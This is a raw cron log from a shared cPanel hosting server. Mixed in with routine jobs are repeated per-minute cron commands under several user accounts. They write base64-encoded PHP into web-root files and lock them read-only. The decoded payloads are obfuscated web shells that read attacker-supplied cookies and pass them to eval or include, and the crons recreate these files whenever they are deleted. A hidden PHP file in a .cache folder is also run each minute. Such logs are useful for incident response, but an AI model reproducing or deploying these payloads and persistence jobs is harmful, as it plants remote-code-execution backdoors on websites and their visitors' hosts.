Jun  7 09:02:02 medusa CROND[26204]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:02:02 medusa CROND[26208]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:03:01 medusa CROND[27917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:03:01 medusa CROND[27931]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:03:01 medusa CROND[27932]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:03:01 medusa CROND[27930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:03:01 medusa CROND[27933]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:03:01 medusa CROND[27934]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:03:01 medusa CROND[27935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:03:01 medusa CROND[27936]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:03:01 medusa CROND[27938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:03:01 medusa CROND[27939]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:03:01 medusa CROND[27941]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:03:01 medusa CROND[27949]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:04:01 medusa CROND[29821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:04:01 medusa CROND[29822]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:04:01 medusa CROND[29823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:04:01 medusa CROND[29824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:04:01 medusa CROND[29825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:04:01 medusa CROND[29826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:04:01 medusa CROND[29827]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:04:01 medusa CROND[29829]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:04:01 medusa CROND[29831]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:04:01 medusa CROND[29841]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:04:01 medusa CROND[29842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:04:01 medusa CROND[29847]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:04:01 medusa CROND[29840]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
